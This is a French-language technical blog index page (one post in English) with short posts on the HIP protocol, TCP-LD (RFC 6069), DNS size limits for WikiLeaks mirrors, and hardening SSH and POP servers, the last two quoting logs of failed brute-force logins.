Je suis Charlie

Autres trucs

Accueil

Seulement les RFC

Seulement les fiches de lecture

Mon livre « Cyberstructure »

Ève

Ce blog n'a d'autre prétention que de me permettre de mettre à la disposition de tous des petits textes que j'écris. On y parle surtout d'informatique mais d'autres sujets apparaissent parfois.


Résumé du protocole HIP

Première rédaction de cet article le 21 décembre 2010


La parution régulière de RFC sur HIP (Host Identity Protocol) me donne à penser qu'un petit résumé de ce protocole est une bonne idée (ce texte est très inspiré du chapitre 3 du RFC 6079). HIP est un protocole de séparation entre l'identificateur et le localisateur. Avant HIP, les adresses IP servaient les deux rôles à la fois : comme localisateur, elles identifient une position de la machine sur l'Internet (pas une localisation physique, bien sûr), et changent donc si la machine se déplace ou si le réseau change de FAI. Comme identificateur, elles sont utilisées par les protocoles des couches supérieures, notamment TCP pour identifier une connexion en cours et, si elles changent, la connexion est cassée. Cette dualité de rôle des adresses IP rend certains problèmes comme la mobilité, le renumérotage (cf. RFC 5887) ou le multihoming très durs à traiter.

HIP, normalisé dans le RFC 7401, résout le problème en limitant les adresses IP au rôle de localisateur. Ainsi, un paquet HIP est un paquet IP normal et les routeurs n'ont pas besoin d'être modifiés. HIP est entièrement mis en œuvre dans la machine terminale. Les identificateurs sont, eux, des clés publiques, permettant une authentification des machines (leur nom officiel est HI, pour Host Identifier). Comme ces clés sont souvent très longues, et, pire, de taille variable, HIP introduit également un condensat cryptographique des clés, le HIT (Host Identifier Tag), qui a la taille d'une adresse IPv6 et peut donc être présenté aux couches supérieures comme TCP, sans trop les traumatiser. (Sur FreeBSD, vous trouverez le HIT de votre machine sous /etc/hip.)

Les HIT sont rangés dans un préfixe IPv6 spécial, nommé Orchid (RFC 7343), 2001:20::/28, avant d'éviter toute collision avec les adresses IPv6 « normales ».

Pour établir une connexion, HIP utilise un échange de quatre paquets (comme SCTP, alors que TCP n'en utilise que trois). Pour envoyer ces paquets, le pair à l'initiative de la connexion doit connaître le localisateur (l'adresse IP) du répondeur. Il peut la trouver dans le DNS (RFC 8005) ou bien via un serveur de rendez-vous (RFC 8004). En pair-à-pair, une DHT pourrait être un bon moyen de résoudre un identificateur en localisateur, et le RFC 6537 explore cette piste. (Sur FreeBSD, on peut même mettre HIT et adresse - identificateur et localisateur - du pair dans /etc/hosts.) HIP dispose également d'un mécanisme pour pouvoir fonctionner à travers les NAT (RFC 5770). Une fois la connexion établie, les localisateurs peuvent changer (RFC 5206), la connexion continue.

HIP dispose d'une forte sécurité : protection contre les usurpations d'identificateur par le fait que ceux-ci sont une clé cryptographique et que les messages sont signés, protections contre les DoS au moment de l'établissement de la connexion (une faiblesse traditionnelle de TCP lorsqu'il est utilisé seul). Le « certificat » que représente cette clé est auto-signé par défaut (et est donc accepté par TOFU Trust On First Use comme dans SSH) mais, si on veut avoir encore plus de sécurité, on peut tout à fait avoir un serveur central qui alloue les identificateurs et les lie à des identificateurs des applications. HIP n'a pas qu'un seul modèle de sécurité pour authentifier les pairs.

Qu'est-ce que HIP change pour les applications ? Une application traditionnelle peut tout à fait utiliser HIP (cf. RFC 5338) mais une API standard figure dans le RFC 6317 pour celles qui veulent aller plus loin.

Il existe des mises en œuvres de HIP pour FreeBSD (le développement a stoppé en 2008) et Linux mais aucun des deux ne semble proche d'une intégration dans le système officiel (pour FreeBSD, rien n'est prévu). Le projet OpenHIP adapte également des logiciels comme Wireshark pour qu'ils aient un support HIP. InfraHIP travaille également à l'infrastructure HIP et à des implémentations. Ils ont réalisé une bonne explication de HIP en une page qui concurrence sérieusement cet article. Un compte-rendu des expériencs pratiques avec HIP se trouve dans le RFC 6538.


L'article seul

Comcast, Level 3 et la cuisson des pommes de terre

Première rédaction de cet article le 21 décembre 2010
Dernière mise à jour le 22 décembre 2010


Il y a déjà eu beaucoup d'articles, surtout aux États-Unis, à propos du conflit qui oppose deux opérateurs Internet, Comcast et Level 3 (j'ai mis quelques références à la fin). Je n'ai pas de sources privilégiées, je ne suis pas un « blogueur influent » donc je ne vais pas pouvoir vous faire de révélations sensationnelles mais il y a quand même, deux ou trois points que je voudrais traiter. Donc, Comcast réclame à Level 3 des sous et Level 3 porte l'affaire devant le régulateur. Pourquoi ?


L'article complet

Dynamic Languages Strike Back

Première rédaction de cet article le 17 décembre 2010


Cela ne date pas d'aujourd'hui, mais voici un excellent exposé de Steve Yegge sur la programmation : « Dynamic Languages Strike Back ». Au contraire de ces insupportables vidéos pour décideurs, ici, ce n'est que du texte et des transparents. L'auteur a tout simplement transcrit (et avec soin) l'intégralité de sa conférence !

Une passionnante et détaillée plongée dans le monde de ce qu'on appelle, faut de mieux, les « langages [de programmation] dynamiques » comme Lua, Python ou Ruby, où Yegge détaille pourquoi la plupart des défauts qu'on leur reproche traditionnellement (comme leur lenteur) ne sont plus des problèmes de nos jours ou, du moins, pourraient être résolus rapidement si on investissait plus de temps dans ces langages au lieu de s'obstiner à programmer dans les langages « statiques ».


L'article seul

Faire tourner sshd sur un autre port que 22

Première rédaction de cet article le 17 décembre 2010
Dernière mise à jour le 20 décembre 2010


La plupart des serveurs et routeurs connectés à l'Internet ont un serveur SSH qui écoute sur le port 22 pour permettre l'accès à distance et l'administration de la machine. Très souvent, des attaques automatiques sont lancées contre ces machines. Même si elles échouent, elles remplissent les journaux et déclenchent des alarmes inutiles. Je recommande personnellement de ne jamais faire tourner le serveur SSH sur le port 22.

Voici un exemple d'une attaque réelle (je n'ai pas modifié l'adresse IP source de l'attaquant car, comme d'habitude, abuse n'a jamais répondu à mon signalement). Il s'agit apparemment d'une attaque par dictionnaire classique, où l'assaillant essaie plusieurs mots de passe classiques pour des comptes courants dans les pays anglo-saxons (john, adam, kevin) :

Dec  9 05:35:10 mon-serveur sshd[28839]: Invalid user john from 173.45.74.230
Dec  9 05:35:10 mon-serveur sshd[28839]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:10 mon-serveur sshd[28839]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:11 mon-serveur sshd[28839]: Failed password for invalid user john from 173.45.74.230 port 40514 ssh2
Dec  9 05:35:12 mon-serveur sshd[28841]: Invalid user john from 173.45.74.230
Dec  9 05:35:12 mon-serveur sshd[28841]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:12 mon-serveur sshd[28841]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:14 mon-serveur sshd[28841]: Failed password for invalid user john from 173.45.74.230 port 41395 ssh2
Dec  9 05:35:16 mon-serveur sshd[28843]: Invalid user kevin from 173.45.74.230
Dec  9 05:35:16 mon-serveur sshd[28843]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:16 mon-serveur sshd[28843]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:18 mon-serveur sshd[28843]: Failed password for invalid user kevin from 173.45.74.230 port 42402 ssh2
Dec  9 05:35:19 mon-serveur sshd[28845]: Invalid user kevin from 173.45.74.230
Dec  9 05:35:19 mon-serveur sshd[28845]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:19 mon-serveur sshd[28845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:20 mon-serveur sshd[28845]: Failed password for invalid user kevin from 173.45.74.230 port 43071 ssh2
Dec  9 05:35:21 mon-serveur sshd[28847]: Invalid user adam from 173.45.74.230
Dec  9 05:35:21 mon-serveur sshd[28847]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:21 mon-serveur sshd[28847]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:23 mon-serveur sshd[28847]: Failed password for invalid user adam from 173.45.74.230 port 43842 ssh2
Dec  9 05:35:24 mon-serveur sshd[28849]: Invalid user adam from 173.45.74.230
Dec  9 05:35:24 mon-serveur sshd[28849]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:24 mon-serveur sshd[28849]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:27 mon-serveur sshd[28849]: Failed password for invalid user adam from 173.45.74.230 port 44743 ssh2

Ici, l'attaque a apparemment échoué. Mais, même si le serveur SSH a un accès restreint (par exemple avec la directive AllowUsers de OpenSSH), c'est ennuyeux d'avoir ses journaux encombrés par de telles attaques, qui sont très courantes. Un script PHP bogué, une prise de contrôle à distance, même sans passer root et hop, tout serveur dédié n'importe où sur la planète commence un balayage systématique des serveurs et routeurs, pour le compte du craqueur masqué derrière lui.

Ma méthode préférée pour garder mes journaux courts et pour embêter un peu les pirates est de faire tourner le serveur sur un autre port. Avec OpenSSH, c'est :

Port 42666

dans le fichier de configuration. Et, là, plus d'attaques.

J'insiste bien sur le fait que le but principal est d'éviter l'encombrement des journaux. Changer de port ralentit les craqueurs mais n'est pas réellement un gros avantage en matière de sécurité (croire cela serait croire au STO). Un craqueur compétent pourrait faire un nmap sur le serveur et découvrir le port SSH par la bannière envoyée :

% telnet mon-serveur 42666
Trying 2001:db8:37a::d946:bee8:232...
Connected to mon-serveur.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.1p1 Debian-5
...

Mais, en pratique, la plupart des attaques sont bêtes et massives. Pas de subtilité, juste tester le port 22. Sur les serveurs qui écoutent sur un autre port, on ne voit jamais, à l'heure actuelle, d'attaques par dictionnaire.

Certaines personnes pensent que changer de port va leur compliquer la vie à eux aussi, en les obligeant à indiquer le numéro de port à chaque commande SSH, par exemple à taper ssh -p 42666 mon-serveur au lieu de ssh mon-serveur. Mais non ; OpenSSH permet de mettre le numéro de port une fois pour toutes dans le fichier ~/.ssh/config :

Host mon-serveur
  Port 42666

et c'est tout, il n'y aura plus rien à taper (si on travaille sur plusieurs machines, ce qui est mon cas, on peut synchroniser son répertoire). Même chose avec un client SSH comme ConnectBot sur Android, qui permet d'indiquer le numéro de port lors de l'enregistrement d'un serveur.

Et que faire si on ne contrôle pas le pare-feu et que les ports alternatifs sont bloqués ? La bonne solution est d'utiliser le port 443 (celui de HTTPS) qui est rarement bloqué. Et si on a déjà un serveur Web sur ce port ? Dans ce cas, il y a sslh.

Existe-t-il d'autres méthodes pour contrarier ce genre d'attaquants ? Oui, bien sûr, on peut restreindre l'accès à SSH par adresse IP source (voir un exemple sur Linux). Cela se fait souvent sur les routeurs, qu'on n'administre que depuis le réseau interne, mais ce n'est pas toujours possible pour les serveurs, il faut bien pouvoir se connecter à distance. Il y a aussi la possibilité de faire du « toquage à la porte » avec un logiciel comme knockd (cf. un bon article en français) ou avec une solution plus simple. Encore une autre solution est de détecter automatiquement les clients SSH qui abusent et de les filtrer. C'est ce que fait fail2ban mais je ne l'ai personnellement pas encore tenté. On peut aussi faire la même chose avec DenyHosts (qui utilise un TCP Wrapper et pas Netfilter), avec iptables et le module "recent" (attention, cette solution a des limites). Ces techniques sont toutes plus sûres que le simple changement de port mais sont également plus compliquées à mettre en œuvre.

Merci à Pascal Hambourg, Sébastien Rodriguez, Cyril Bouthors, Clochix et aux utilisateurs de Twitter dont j'ai oublié de noter le nom.

Je recommande un très bon article sur l'état des attaques SSH par force brute : « Observations from two weeks of SSH brute force attacks ». Et il faut se rappeler qu'il n'y a pas que les méchants qui balaient l'Internet sur le port 22. les chercheurs en sécurité le font aussi (et trouvent plein de machines).


L'article seul

RFC 6069: Making TCP more Robust to Long Connectivity Disruptions (TCP-LCD)

Date de publication du RFC : Décembre 2010
Auteur(s) du RFC : A. Zimmermann, A. Hannemann (RWTH Aachen University)
Expérimental
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 13 décembre 2010


Depuis très longtemps, un des problèmes du protocole de transport TCP est le fait qu'il réduise son débit en cas de pertes de paquets, pensant que cette perte provient d'une congestion. Mais si la perte de paquets était due à une coupure temporaire de la connectivité (ce qui est fréquent avec les liaisons radio), il est inutile de diminuer le débit, puisque le problème ne venait pas d'une congestion. TCP devrait au contraire continuer au même rythme, surtout une fois que la connectivité est rétablie. Une solution au problème pourrait être d'utiliser les messages ICMP pour mieux diagnostiquer la cause de la perte de paquets et c'est cette approche que ce RFC 6069 suggère d'essayer.

Rappelons que TCP fonctionne en envoyant des données dont l'autre pair doit accuser réception. S'il ne le fait pas à temps, TCP réemet les données et, s'il n'y a toujours rien, TCP en déduit que le réseau est surchargé (et jette donc des paquets) et, bon citoyen, il réagit en diminuant le rythme d'envoi (RFC 2988 et section 1 de notre RFC 6069). C'est ce comportement qui évite à l'Internet de s'écrouler sous la charge. Il n'est donc pas question que TCP soit modifié pour envoyer systématiquement au maximum de ses possibilités, « au cas où ça passe ». Mais, parfois, TCP est excessivement prudent. Si je débranche puis rebranche un câble réseau pendant le transfert d'un gros fichier, TCP va ralentir alors qu'il n'y avait aucune congestion (voir l'article de Schuetz, S., Eggert, L., Schmid, S., et M. Brunner, « Protocol enhancements for intermittently connected hosts », dans SIGCOMM Computer Communication Review vol. 35, no. 3). En pratique, le cas le plus embêtant se produit avec les réseaux sans-fil où de tels « branchements/débranchements » sont fréquents, soit en raison d'une modification soudaine du médium (une pluie intense, si on est dehors, ou bien un parasite soudain), soit en raison d'un déplacement de l'ordinateur. Peut-on détecter qu'une absence d'accusés de réception était due à une coupure temporaire du réseau ?

D'abord (section 2), il faut distinguer deux sortes de coupure du réseau. Les courtes sont celles qui durent moins longtemps que le délai de retransmission de TCP. Si les files d'attente du routeur situé avant la coupure sont suffisamment grandes, il pourra « tamponner » les paquets et il n'y aura même pas de perte, juste des variations de délai (cf. RFC 3522, RFC 4015 ou RFC 5682). Les longues coupures sont celles qui durent plus longtemps et où l'émetteur TCP doit donc commencer à renvoyer des paquets déjà transmis. Suivant le RFC 5681, TCP ne se contente pas de réémettre, il diminue son rythme de transmission. Si la connectivité revient, TCP ne va pas s'en apercevoir tout de suite et, même si les accusés de réception réapparaissent, TCP continuera à envoyer à un rythme réduit, sans bonne raison, juste parce qu'il a cru à la congestion. Idéalement, TCP devrait, au contraire, recommencer à pleine vitesse dès que la liaison est rétablie.

Comment détecter la coupure et le rétablissement ? La section 3 rappelle l'existence des paquets ICMP Destination Unreachable (RFC 792, RFC 1812 et RFC 4443). Ces paquets sont envoyés par le routeur, vers l'émetteur, si le routeur est obligé de jeter le paquet (codes 1, Host unreachable ou 0, Network unreachable). Mais attention, ils ne sont pas parfaits : ils ne sont pas envoyés en temps-réel (et donc arriveront peut-être après que TCP ait trouvé tout seul qu'il y a un problème) et ils sont en général limités en quantité.

Ces paquets ICMP contiennent les premiers octets du paquet qui a déclenché le problème et l'émetteur peut donc, en recevant le paquet ICMP, trouver la connexion TCP en cause. Le principe du nouvel algorithme expérimental TCP-LD (TCP Long Disruption) est donc d'utiliser ces messages ICMP pour différencier la congestion et la coupure. Dans le cas d'une coupure, cela vaudra la peine de réessayer de manière plus agressive.

L'algorithme est présenté en section 4. Le principe est simple : lorsque TCP a déjà dépassé son délai de garde, attendant un accusé de réception, et en cas de réception d'un message ICMP indiquant une coupure, TCP ne va pas augmenter les délais de retransmission. Au retour des accusés de réception, TCP reprendra « plein pot ». Les détails figurent par la suite. D'abord, TCP-LD ne s'applique qu'aux TCP qui suivaient l'algorithme de retransmission du RFC 2988. L'algorithme ne doit être utilisé qu'une fois la connexion complètement établie. Les seuls messages ICMP pris en compte sont ceux qui sont émis en réponse à des données TCP qui ont fait l'objet d'une retransmission. (Et autres détails, l'algorithme complet figure dans cette section 4.)

Une discussion des différents points à garder en tête figure en section 5. Elle insiste sur le fait que l'algorithme TCP-LD n'est déclenché que s'il y a réception des messages ICMP indiquant une erreur et expiration du délai de garde. Cela garantit que TCP-LD ne sera utilisé qu'en cas de longue coupure. Il y a quand même des cas qui prennent TCP-LD en défaut. C'est le cas par exemple de l'ambiguité analysée en section 5.1. Cette ambiguité vient du fait que le paquet TCP (et donc le message ICMP d'erreur qui concerne ce paquet) n'indique pas s'il s'agit d'une transmission ou d'une retransmission. Ce n'est pas un problème en pratique mais, si l'émetteur TCP qui reçoit le paquet ICMP peut être sûr qu'il y a eu retransmission, il n'est pas forcément sûr que le message d'erreur était en réponse à la retransmission. Encore plus rigolo (section 5.2), TCP-LD peut associer à tort un message ICMP à une session TCP ayant connu une retransmission, simplement parce que le numéro de séquence a dépassé sa valeur maximale et est revenu au début (sur des réseaux rapides, les 32 bits qui stockent le numéro de séquence TCP ne suffisent pas longtemps). La probabilité que cela arrive et interfère avec une coupure réelle est toutefois très faible. D'autres problèmes amusants (pour ceux qui connaissent bien TCP) forment la fin de la section 4, comme par exemple les risques liés aux paquets dupliqués. Un certain nombre des problèmes exposés pourraient être résolus avec l'option d'estampillage temporel de TCP (RFC 7323 et section 6 de notre RFC) : les estampilles pourraient lever certaines ambiguités.

TCP-LD est une technique « côté émetteur » seulement, et qui peut donc être déployée unilatéralement. Y a-t-il des risques à le faire ? La section 7 explore ces risques. Par exemple (section 7.1), si un émetteur TCP essaie de détecter une coupure définitive en se donnant une limite maximale au nombre de retransmissions, l'utilisation de TCP-LD, qui va réduire l'intervalle entre les retransmissions, pourra amener à des conclusions erronées. Il faut donc évaluer la durée maximale qu'on accepte avant de couper en temps, et pas en nombre de retransmissions.

Je l'ai dit au début, ce problème est perçu depuis très longtemps par les utilisateur de TCP. Il y a donc eu bien d'autres efforts pour le résoudre. La section 8 les résume. On y trouve par exemple des modifications des couches inférieures (RFC 3819) ou bien des modifications des routeurs IP, pour qu'ils analysent suffisamment de TCP pour pouvoir générer des messages d'information. TCP-LD, par contre, ne nécessite pas de modification des couches basses, ni des routeurs intermédiaires.

Un point important de ce schéma est que les messages ICMP ne sont sécurisés en rien et que d'autres RFC, comme le RFC 5927, demandent de s'en méfier et au minimum de ne pas agir sans les avoir sérieusement validés. Quels sont donc les risques (section 9) ? Un attaquant pourrait, soit générer des faux messages ICMP Destination Unreachable pour que TCP, croyant à une coupure et pas à une congestion, continue à inonder le réseau, soit au contraire empêcher les messages ICMP d'arriver, ramenant TCP à la situation avant TCP-LD. Dans le premier cas, les paquets ICMP nécessiteraient d'inclure une partie du paquet TCP, dont des éléments difficiles à deviner, comme le numéro de séquence et les mécanismes de validation du RFC 5927 conviendraient donc. Si elles échouent, l'attaquant qui arrive à trouver le numéro de séquence et les autres informations a de toute façon la possibilité de monter des attaques bien pires.

L'algorithme TCP-LD avait été présenté en 2009 à la réunion IETF 75 de Stockholm. Les transparents (« Make TCP more Robust to Long Connectivity Disruptions ») sont en ligne. Ils exposent l'algorithme et le résultat d'une évaluation après mise en œuvre sur Linux. Plein de jolis graphes. À propos de Linux, le travail des auteurs était disponible en http://www.umic-mesh.net/downloads/linux-tcp.html et a depuis été intégré (sous une forme modifiée) dans le noyau standard : regardez tcp_v4_err() dans net/ipv4/tcp_ipv4.c et les commentaires mentionnant draft-zimmermann-tcp-lcd (l'ancien nom de ce RFC 6069).


Téléchargez le RFC 6069


L'article seul

WikiLeaks DNS mirrors and the limits of the DNS

First publication of this article on 12 December 2010
Last update on of 13 December 2010


Following the big crackdown against WikiLeaks and the many attempts to censor the independent information Web site, many people, eager to do something for the freedom of information, have set up mirrors of the WikiLeaks content. Some of these mirrors do not actually store content, they are just DNS mirrors, which store the IP addresses of the actual Web sites. The goal is to allow these Web sites to be found even if many domain names are deleted, following brutal takedowns like the one performed by the US customs in another case. But these DNS mirrors must be careful to test that they work even if they go beyond the traditional limits of the DNS.

The biggest of these limits is the size: at its beginning, DNS accepted only answers of up to 512 bytes (RFC 1035, section 2.3.4). This limit was lifted ten years ago, in RFC 2671. But ten years is short in an environment as ossified as the Internet and many DNS resolvers still cannot handle properly larger answers.

Let's take as an example the DNS mirror all-wikileaks.bortzmeyer.fr. It now stores 157 IP addresses (it may change in the future since mirrors appear and disappear all the time and you have to test them often). It allows a big resilience since only one working IP address in the set is sufficient to reach WikiLeaks. The total size of the DNS answer is 2753 bytes (a bit less if you query only one IP address family, for instance only IPv4). It is much larger than the traditional limit and it is even larger than the Ethernet MTU, the most common maximum packet size today. Does it work?

It depends on the resolver. With a standard, out-of-the-box DNS resolver like BIND or Unbound, it works fine, the name can be resolved and a Web browser can visit the site. That's because these programs correctly implement the DNS as it is today. They use the EDNS0 option of RFC 2671 and have a default buffer size of 4096 bytes, which is sufficient today (the largest theoretical size now is 65536 bytes).

If you want to test by hand, with the common DNS testing tool dig, be careful that, unlike a proper resolver, it does not use EDNS0 by default. You have to indicate it on the command line:

% dig +bufsize=4096 ANY all-wikileaks.bortzmeyer.fr
...
;; Query time: 4 msec
;; SERVER: ::1#53(::1)
;; WHEN: Fri Dec 10 17:16:03 2010
;; MSG SIZE  rcvd: 2753

or to put it once for all in the ~/.digrc configuration file:

% cat ~/.digrc 
+bufsize=4096

% dig ANY all-wikileaks.bortzmeyer.fr
...
;; Query time: 4 msec
;; SERVER: ::1#53(::1)
;; WHEN: Fri Dec 10 17:17:14 2010
;; MSG SIZE  rcvd: 2753

But many ISP or local networks provide broken DNS resolvers to their users. Even if the DNS resolver is OK, it is at the mercy of a firewall or another middlebox which mangles either the DNS query (by deleting the EDNS0 option) or the answer (by being unable of transmitting the larger-than-512-bytes reply). (For details on middleboxes, see the SSAC 035 document or RFC 5625.)

Possible issues are many: for instance, if the query does not use EDNS0, the answer, too large, won't be entirely sent and the authoritative name server will set the TC bit which means "Data truncated"). The resolver is then supposed to retry over TCP and some cannot, either because they don't support TCP (a big mistake in today's Internet) or because they are blocked by a misconfigured firewall which allows DNS only on UDP.

Here is an example on the Free network (Free being the second largest ISP in France). While EDNS0 queries seem to go just fine, the resolvers do not accept TCP. When the dig testing tool queries them, it receives a truncated response, retries over TCP and is blocked:

% dig  A all-wikileaks.bortzmeyer.fr
;; Truncated, retrying in TCP mode.
;; Connection to 212.27.40.241#53(212.27.40.241) for \
           all-wikileaks.bortzmeyer.fr failed: connection refused.

Among the programs which may have problems, the PowerDNS recursor, which does not have EDNS0 by default (for the reasons explained by its author). As a result, PowerDNS Recursor always falls back to TCP, which may be a problem with some broken firewalls.

Another interesting test (thanks to Marco Davids) was done through a AVM Fritz!Box 7170 Annex A with firmware version 58.04.82. Like many cheap boxes, it has an internal DNS proxy which does not do TCP and does not accept answers >512 bytes. TCP connections are here rejected:

% dig +bufsize=4096 ANY all-wikileaks.bortzmeyer.fr @192.168.68.7
;; Truncated, retrying in TCP mode.
;; Connection to 192.168.68.7#53(192.168.68.7) for
all-wikileaks.bortzmeyer.fr failed: connection refused.

With EDNS0 on the dig side (option +bufsize), and the interdiction to fall back to TCP (option +ignore):

% dig +ignore +bufsize=4096 ANY all-wikileaks.bortzmeyer.fr @192.168.68.7
...
;; flags: qr tc rd ra; QUERY: 1, ANSWER: 23, AUTHORITY: 0, ADDITIONAL: 0
...
;; Query time: 4 msec
;; SERVER: 192.168.68.7#53(192.168.68.7)
;; WHEN: Mon Dec 13 09:35:10 2010
;; MSG SIZE  rcvd: 509

The box has stuffed as many answers it could, to stay below 512 bytes.

If you want to test yourself, I'll be happy to receive (at bortzmeyer+testdnssize@bortzmeyer.org) reports of issues but please, do not forget to indicate the resolver used (make and model), as well as existing middleboxes such as firewalls) or the network used (name of the ISP and city) if you do not control the DNS resolver yourself. Complete output of dig would be a big plus. Another big DNS mirror, to have several tests, is wklk.eu.org.

Thanks to Niall O'Reilly for his style and technical checking. All the opinions are mine.


L'article seul

Attaque dictionnaire via POP

Première rédaction de cet article le 11 décembre 2010


Tout serveur réseau connecté à l'Internet voit passer en permanence des attaques, qui se traduisent entre autres par des lignes et des lignes dans le journal. La grande majorité de ces attaques (sauf si on abrite un service spécifiquement visé, comme WikiLeaks) sont aveugles au sens où le méchant ne cherchait pas spécialement à attaquer ce serveur, il a juste écrit un ver qui attaque un peu au hasard toutes les adresses IP qu'il peut trouver. Je viens de m'apercevoir que le vénérable protocole POP, décrit dans le RFC 1939, connaissait aussi ce genre d'attaques.

Voici l'extrait du journal concernant un cas parmi d'autres. L'heure est en UTC + 1. J'ai laissé la vraie adresse IP de l'attaquant car j'ai prévenu le contact indiqué dans la base du RIPE et ledit contact n'a évidemment jamais répondu. Je vois très souvent des attaques de ver sur SSH ou sur HTTP. Avec le protocole POP, conçu pour le relevé de boîtes aux lettres à distance, c'est plus rare, mais il est vrai qu'il y a moins de serveurs POP accessibles que de serveurs HTTP donc les vers se concentrent sur un plus petit nombre d'objectifs.

Dec  8 13:22:51 mon-serveur pop3d: LOGIN FAILED, user=tokend, ip=[::ffff:94.102.55.80]
Dec  8 13:22:56 mon-serveur pop3d: LOGIN FAILED, user=windowserver, ip=[::ffff:94.102.55.80]
Dec  8 13:23:01 mon-serveur pop3d: LOGIN FAILED, user=appowner, ip=[::ffff:94.102.55.80]
Dec  8 13:23:06 mon-serveur pop3d: LOGIN FAILED, user=xgridagent, ip=[::ffff:94.102.55.80]
Dec  8 13:23:11 mon-serveur pop3d: LOGIN FAILED, user=agent, ip=[::ffff:94.102.55.80]
Dec  8 13:23:16 mon-serveur pop3d: LOGIN FAILED, user=xgridcontroller, ip=[::ffff:94.102.55.80]
Dec  8 13:23:21 mon-serveur pop3d: LOGIN FAILED, user=jabber, ip=[::ffff:94.102.55.80]
Dec  8 13:23:26 mon-serveur pop3d: LOGIN FAILED, user=amavisd, ip=[::ffff:94.102.55.80]
Dec  8 13:23:31 mon-serveur pop3d: LOGIN FAILED, user=clamav, ip=[::ffff:94.102.55.80]
Dec  8 13:23:37 mon-serveur pop3d: LOGIN FAILED, user=appserver, ip=[::ffff:94.102.55.80]
Dec  8 13:23:42 mon-serveur pop3d: LOGIN FAILED, user=mailman, ip=[::ffff:94.102.55.80]
Dec  8 13:23:47 mon-serveur pop3d: LOGIN FAILED, user=cyrusimap, ip=[::ffff:94.102.55.80]
Dec  8 13:23:52 mon-serveur pop3d: LOGIN FAILED, user=qtss, ip=[::ffff:94.102.55.80]
Dec  8 13:23:57 mon-serveur pop3d: LOGIN FAILED, user=eppc, ip=[::ffff:94.102.55.80]
Dec  8 13:24:02 mon-serveur pop3d: LOGIN FAILED, user=telnetd, ip=[::ffff:94.102.55.80]
Dec  8 13:24:07 mon-serveur pop3d: LOGIN FAILED, user=identd, ip=[::ffff:94.102.55.80]
Dec  8 13:24:14 mon-serveur pop3d: LOGIN FAILED, user=gnats, ip=[::ffff:94.102.55.80]
Dec  8 13:24:19 mon-serveur pop3d: LOGIN FAILED, user=jeff, ip=[::ffff:94.102.55.80]
Dec  8 13:24:26 mon-serveur pop3d: LOGIN FAILED, user=irc, ip=[::ffff:94.102.55.80]
Dec  8 13:24:34 mon-serveur pop3d: LOGIN FAILED, user=list, ip=[::ffff:94.102.55.80]
Dec  8 13:24:39 mon-serveur pop3d: LOGIN FAILED, user=eleve, ip=[::ffff:94.102.55.80]
Dec  8 13:24:46 mon-serveur pop3d: LOGIN FAILED, user=proxy, ip=[::ffff:94.102.55.80]
Dec  8 13:24:53 mon-serveur pop3d: LOGIN FAILED, user=sys, ip=[::ffff:94.102.55.80]
Dec  8 13:24:58 mon-serveur pop3d: LOGIN FAILED, user=zzz, ip=[::ffff:94.102.55.80]
Dec  8 13:25:03 mon-serveur pop3d: LOGIN FAILED, user=frank, ip=[::ffff:94.102.55.80]
Dec  8 13:25:08 mon-serveur pop3d: LOGIN FAILED, user=dan, ip=[::ffff:94.102.55.80]
Dec  8 13:25:13 mon-serveur pop3d: LOGIN FAILED, user=james, ip=[::ffff:94.102.55.80]
Dec  8 13:25:18 mon-serveur pop3d: LOGIN FAILED, user=snort, ip=[::ffff:94.102.55.80]
Dec  8 13:25:23 mon-serveur pop3d: LOGIN FAILED, user=radiomail, ip=[::ffff:94.102.55.80]
Dec  8 13:25:28 mon-serveur pop3d: LOGIN FAILED, user=harrypotter, ip=[::ffff:94.102.55.80]
Dec  8 13:25:33 mon-serveur pop3d: LOGIN FAILED, user=divine, ip=[::ffff:94.102.55.80]
Dec  8 13:25:39 mon-serveur pop3d: LOGIN FAILED, user=popa3d, ip=[::ffff:94.102.55.80]
Dec  8 13:25:44 mon-serveur pop3d: LOGIN FAILED, user=aptproxy, ip=[::ffff:94.102.55.80]
Dec  8 13:25:49 mon-serveur pop3d: LOGIN FAILED, user=desktop, ip=[::ffff:94.102.55.80]
Dec  8 13:25:54 mon-serveur pop3d: LOGIN FAILED, user=workshop, ip=[::ffff:94.102.55.80]
Dec  8 13:25:59 mon-serveur pop3d: LOGIN FAILED, user=mailnull, ip=[::ffff:94.102.55.80]
Dec  8 13:26:04 mon-serveur pop3d: LOGIN FAILED, user=nfsnobody, ip=[::ffff:94.102.55.80]
Dec  8 13:26:09 mon-serveur pop3d: LOGIN FAILED, user=rpcuser, ip=[::ffff:94.102.55.80]
Dec  8 13:26:14 mon-serveur pop3d: LOGIN FAILED, user=rpc, ip=[::ffff:94.102.55.80]
Dec  8 13:26:19 mon-serveur pop3d: LOGIN FAILED, user=gopher, ip=[::ffff:94.102.55.80]

